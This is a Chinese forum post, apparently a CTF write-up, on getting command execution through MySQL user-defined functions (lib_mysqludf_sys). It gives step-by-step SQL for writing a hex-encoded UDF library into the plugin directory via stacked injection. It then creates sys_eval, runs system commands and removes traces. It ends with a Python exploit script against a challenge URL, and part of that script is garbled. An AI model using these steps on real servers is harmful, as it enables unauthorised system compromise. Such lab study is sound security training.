【MYSQL】UDF命令执行靶场 wp
本帖最后由 孤樱懶契 于 2021-10-23 22:45 编辑# 一、什么是udf
udf 全称为：user defined function，意为用户自定义函数；用户可以添加自定义的新函数到Mysql中，以达到功能的扩充，调用方式与一般系统自带的函数相同，例如 contact()，user()，version()等函数。
udf 文件后缀一般为 dll，由C、C++编写
# 二、udf在渗透中的作用
在一般渗透过程中，拿下一台windows服务器的webshell时，由于webshell权限较低，有些操作无法进行，而此时本地恰好存在mysql数据库，那么udf可能就派上用场了；由于windows安装的mysql进程一般都拥有管理员权限，这就意味着用户自定义的函数也拥有管理员权限，我们也就拥有了执行管理员命令的权限，这时新建管理员用户等操作也就轻而易举了，大多数人称为这一操作为udf提权，其实表达不够准确，应该称为通过mysql获得管理员权限。
# 三、利用条件
利用udf的条件其实还是挺苛刻的
**mysql用户权限问题**
- 获得一个数据库账号，拥有对MySQL的insert和delete权限。以root为佳。
- 拥有将udf.dll写入相应目录的权限。
# 四、数据库版本问题
udf利用的其中一步，是要将我们的xxx.dll文件上传到mysql检索目录中，mysql各版本的检索目录有所不同：
| 版本 | 路径 |
| ----------------- | ---------------------------------------------------------- |
| MySQL < 5.0 | 导出路径随意； |
| 5.0 <= MySQL< 5.1 | 需要导出至目标服务器的系统目录（如：c:/windows/system32/） |
| 5.1 < MySQL | 必须导出到MySQL安装目录下的lib\plugin文件夹下 |
**一般Lib、Plugin文件夹需要手工建立（可用NTFS ADS流模式突破进而创建文件夹）**
# 五、本地利用过程
**1、获取Mysql安装路径**
```
select @basedir
```
**2、查看可操作路径**
```
show global variables like "%secure%"
```
**secure_file_priv值为null，表示mysql不允许导入导出，此时我们只能通过别的方法将udf.dll写入安装路径**
**3、查看plugin目录路径**
```
select @@plugin_dir
```
**4、将dll上传方式推荐几种**
将dll上传到安装路径的方式：
通过webshell上传
以hex方式直接上传
**sqlmap中现有的udf文件，分为32位和64位，一定要选择对版本，获取sqlmap的udf方式**
**5、sqlmap中udf获取方式**
自动化注入工具Sqlmap已经集成了此功能。
**在 \sqlmap\data\udf\mysql\windows\64目录下存放着lib_mysqludf_sys.dll_**
!(https://gitee.com/gylq/cloudimages/raw/master/img/image-20210802180556258.png)
> - **但是sqlmap中自带的shell以及一些二进制文件，为了防止误杀都经过异或编码，不能直接使用**
**可以利用sqlmap 自带的解码工具cloak.py，在sqlmap\extra\cloak中打开命令行，来对lib_mysqludf_sys.dll_进行解码在，然后在直接利用，输入下面的**
```
cloak.py -d -i C:\sqlmap\data\udf\mysql\windows\64\lib_mysqludf_sys.dll_
```
!(https://gitee.com/gylq/cloudimages/raw/master/img/image-20210802180926662.png)
接着就会在\sqlmap\data\udf\mysql\windows\64目录下生成一个dll的文件**lib_mysqludf_sys.dll**，这个我们就可以直接拿来利用
攻击者可以利用lib_mysqludf_sys提供的函数执行系统命令。
函数：
**sys_eval，执行任意命令，并将输出返回。**
**sys_exec，执行任意命令，并将退出码返回。**
**sys_get，获取一个环境变量。**
**sys_set，创建或修改一个环境变量。**
以我windows系统为例，mysql版本为**MySQL5.7.26**
**注意：攻击过程中，首先需要将lib_mysqludf_sys ( 目标为windows时，lib_mysqludf_sys.dll；linux时，lib_mysqludf_sys.so）上传到数据库能访问的路径下。**
!(https://gitee.com/gylq/cloudimages/raw/master/img/image-20210802181450673.png)
> - **直接将刚刚生成的64位windows的dll文件复制到`D:\phpstudy8\Extensions\MySQL5.7.26\lib\plugin`中，然后再mysql中执行以下语句**
```sql
create function sys_eval returns string soname 'udf.dll'
```
!(https://gitee.com/gylq/cloudimages/raw/master/img/image-20210802181552843.png)
> - 然后就可以任意命令执行了
>
> - **sys_eval，执行任意命令，并将输出返回。**
>
> **sys_exec，执行任意命令，并将退出码返回。**
>
> **sys_get，获取一个环境变量。**
>
> **sys_set，创建或修改一个环境变量。**
```
select sys_eval('ipconfig')
```
!(https://gitee.com/gylq/cloudimages/raw/master/img/image-20210802181722479.png)
# **六、实战情况之一，hex编/解传入mysql系统提权**
> - **本地利用的情况，你得已经上传webshell的情况下才能成功。如果你在sql实战中遇到可以使用outfile等上传文件的情况下，如何利用来系统权限命令执行。下面我们先熟悉一下本地测试一下具体情况**
**为了将这个转换为十六进制，可以借助mysql中的hex函数，先将udf.dll移动到C盘中，这样路径也清晰一些，然后执行下面命令**
```sql
select hex(load_file('C:/udf.dll')) into dumpfile 'c:/udf.txt'
```
!(https://gitee.com/gylq/cloudimages/raw/master/img/image-20210802184049609.png)
成功生成了十六进制形式流
!(https://gitee.com/gylq/cloudimages/raw/master/img/image-20210802184106028.png)
**接下来就是把本地的udf16进制形式通过我们已经获得的webshell传到目标主机上。**
**一、新建一个表，名为udftmp，用于存放本地传来的udf文件的内容。**
```sql
create table udftmp (c BLOB)
```
**二、在udftmp中写入udf文件内容**
```sql
INSERT INTO udftmp values(unhex('udf文件的16进制格式'))
```
**三、将udf文件内容传入新建的udf文件中，路径根据自己的@@plugin_dir修改 //对于mysql小于5.1的，导出目录为**C:\Windows\或C:\Windows\System32\
```sql
select c from udftmp into dumpfile 'D:/phpstudy8/Extensions/MySQL5.7.26/lib/plugin/udf.dll'
```
**四、执行下面语句，就可以system权限下命令任意执行，这电脑就沦陷了，执行命令上面已经说过，就不复述了**
```sql
create function sys_eval returns string soname 'udf.dll'
```
**五、删除痕迹，做好事不留名**
```sql
DROP TABLE udftmp
```
```sql
SELECT sys_eval('ipconfig');
返回网卡信息
```
本地实践了之后，基础知识差不多了解我们做一个实战靶场
**题目代码**
!(https://gitee.com/gylq/cloudimages/raw/master/img/image-20210802215056685.png)
```sql
$sql = "select id,username,pass from ctfshow_user where id = '".$id."' limit 1;";
```
> - 测试了一下，明显存在堆叠注入，刚好可以利用堆叠注入，来进行udf来进行命令执行，**测试，过滤information、and、or等各种语句无法布尔盲注、时间盲注、报错注入等**
!(https://gitee.com/gylq/cloudimages/raw/master/img/image-20210802215137822.png)
**好了，废话不多说直接看一下@@plugin_dir的路径来命令执行**
> !(https://gitee.com/gylq/cloudimages/raw/master/img/image-20210802215552429.png)
```
目录/usr/lib/mariadb/plugin/
```
对方是linux,当然写 一个脚本跑会快一些，我先手工实操一遍，之后就用脚本梭哈，首先根据我之前的方法生成64位linux的udf.so的十六进制形式
!(https://gitee.com/gylq/cloudimages/raw/master/img/image-20210803101639156.png)
由于这是get传参，是有长度限制的，16081的超过限制，会直接被ban了，所以我分按6000长度分为了三个文本文件里面装了udf十六进制三个部分
!(https://gitee.com/gylq/cloudimages/raw/master/img/image-20210803101807533.png)
接着我们将a、b、c三个中里面的十六进制导入到被攻击的机器中
```sql
select 'a部分十六进制' into dumpfile '/usr/lib/mariadb/plugin/a.txt'
```
!(https://gitee.com/gylq/cloudimages/raw/master/img/image-20210803102052966.png)
**为了确认我们是否已经导入load_file来判断**
```sql
select load_file('/usr/lib/mariadb/plugin/a.txt')
```
!(https://gitee.com/gylq/cloudimages/raw/master/img/image-20210803102140360.png)
**明显导入成功，照葫芦画瓢，将剩下的b和c导入进去**
> !(https://gitee.com/gylq/cloudimages/raw/master/img/image-20210803102422360.png)
当明显确定已经都导入成功了a、b、c三部分udf十六进制内容，接着来就是导入so到这个目录就可以命令执行
```
select unhex(concat(load_file('/usr/lib/mariadb/plugin/a.txt'),load_file('/usr/lib/mariadb/plugin/b.txt'),load_file('/usr/lib/mariadb/plugin/c.txt'),load_file('/usr/lib/mariadb/plugin/d.txt'))) into dumpfile '/usr/lib/mariadb/plugin/udf.so'
```
!(https://gitee.com/gylq/cloudimages/raw/master/img/image-20210803102536467.png)
**最后我们创建sys_eval这个函数来进行命令执行**
```
create function sys_eval returns string soname 'udf.so'
```
**明显获得了命令执行的权限**
!(https://gitee.com/gylq/cloudimages/raw/master/img/image-20210803102656908.png)
**我们可以看看ip配置**
!(https://gitee.com/gylq/cloudimages/raw/master/img/image-20210803102747630.png)
**接着就拿这题的flag**
!(https://gitee.com/gylq/cloudimages/raw/master/img/image-20210803103022002.png)
# 七、写个脚本跑
```python
import requests
url="http://419e5714-21cb-4a29-82d4-cecf0bb82bf7.challenge.ctf.show:8080/api/"
payload = "?id=1';select '{}' into dumpfile '/usr/lib/mariadb/plugin/{}.txt'--+"
acquire = "?id=1';select load_file('/usr/lib/mariadb/plugin/{}.txt')--+"
text = ['a','b','c','d']
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udf_text=[]
for i in range(0,20000,5000):
end = i+5000
udf_text.append(udf)
p = dict(zip(text,udf_text))
for t in text:
param=payload.format(p,t)
get_url = url + param
res = requests.get(get_url)
print("",end="")
code = res.status_code
print(code,end="")
ifcode==404:
print("你输入的URL可能出错")
acq=acquire.format(t)
data=url+acq
res = requests.get(url=data)
if "load_file" in res.text:
print("-->成功插入{}.txt".format(t))
print("导入udf.so成功")
url_sys_dll = "?id=1%27;select unhex(concat(load_file('/usr/lib/mariadb/plugin/a.txt'),load_file('/usr/lib/mariadb/plugin/b.txt'),load_file('/usr/lib/mariadb/plugin/c.txt'),load_file('/usr/lib/mariadb/plugin/d.txt'))) into dumpfile '/usr/lib/mariadb/plugin/udf.so' --+"
res= requests.get(url=url+url_sys_dll)
print("创建函数sys_eval()成功")
url_sys_function = "?id=1%27;create function sys_eval returns string soname 'udf.so'--+"
res= requests.get(url=url+url_sys_function)
print("命令执行结果: ")
sys_eval="?id=';select sys_eval('cat /flag.*')--+"
res= requests.get(url=url+sys_eval)
print(res.text)
```
!(https://gitee.com/gylq/cloudimages/raw/master/img/image-20210803114942859.png)
大佬牛匹，工具能分享下吗《悬剑武器库》 本帖最后由 孤樱懶契 于 2021-8-4 05:05 编辑
superX009 发表于 2021-8-3 23:53
DLL？mysql都是装linux系统的，怎么滴都得搞GCC或者GC++弄成so吧。
我自己电脑是windows，所以本地测试用的dll。题目是linux，我做这题的时候，用的是so，你可以 看一下代码 666，楼主写的真详细 学习了学习 学习了学习 膜拜大神 666，好厉害！学习了 DLL？mysql都是装linux系统的，怎么滴都得搞GCC或者GC++弄成so吧。 谢谢分享学习了
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